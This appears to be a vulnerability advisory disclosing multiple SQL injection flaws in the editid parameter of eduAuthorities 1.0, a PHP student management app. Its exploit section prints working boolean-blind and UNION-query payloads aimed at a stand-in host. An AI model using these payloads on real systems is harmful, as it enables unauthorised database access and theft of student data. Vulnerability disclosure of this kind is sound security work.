eduAuthorities 1.0 SQL Injection

`## Titles: eduAuthorities-1.0 Multiple-SQLi  
## Author: nu11secur1ty  
## Date: 07/29/2024  
## Vendor: https://www.mayurik.com/  
## Software:  
https://www.sourcecodester.com/php/16137/online-student-management-system-php-free-download.html  
## Reference: https://portswigger.net/web-security/sql-injection  
  
## Description:  
The editid parameter appears to be vulnerable to SQL injection attacks. The  
payloads 15750083 or 4189=04189 and 58006253 or 7709=7710 were each  
submitted in the editid parameter. These two requests resulted in different  
responses, indicating that the input is being incorporated into a SQL query  
in an unsafe way. Note that automated difference-based tests for SQL  
injection flaws can often be unreliable and are prone to false positive  
results. You should manually review the reported requests and responses to  
confirm whether a vulnerability is actually present.  
Additionally, the payload (select*from(select(sleep(20)))a) was submitted  
in the editid parameter. The application took 20011 milliseconds to respond  
to the request, compared with 3 milliseconds for the original request,  
indicating that the injected SQL command caused a time delay.The attacker  
can get all information from the system by using this vulnerability!  
  
STATUS: HIGH- Vulnerability  
  
  
[+]Exploits:  
- SQLi Multiple:  
```mysql  
---  
Parameter: #1* (URI)  
Type: boolean-based blind  
Title: MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP  
BY clause (EXTRACTVALUE)  
Payload: http://pwnedhost.com/eduauth/edit-class-detail.php?editid=-8488  
OR EXTRACTVALUE(2229,CASE WHEN (2229=2229) THEN 2229 ELSE 0x3A END)#  
UiVZfrom(select(sleep(3)))a)  
  
Type: UNION query  
Title: MySQL UNION query (random number) - 3 columns  
Payload: http://pwnedhost.com/eduauth/edit-class-detail.php?editid=-2962  
UNION ALL SELECT  
8651,8651,CONCAT(0x7176627a71,0x664c6c4a72786a466c676743684468646d676e646d476f535a4f4a64694375516a54746d52426253,0x7171766b71),8651#from(select(sleep(3)))a)  
---  
```  
  
## Reproduce:  
[href](https://www.patreon.com/posts/eduauthorities-1-109562178)  
  
## More:  
[href](  
https://www.nu11secur1ty.com/2024/08/eduauthorities-10-multiple-sqli.html)  
  
## Time spent:  
00:37:00  
  
  
`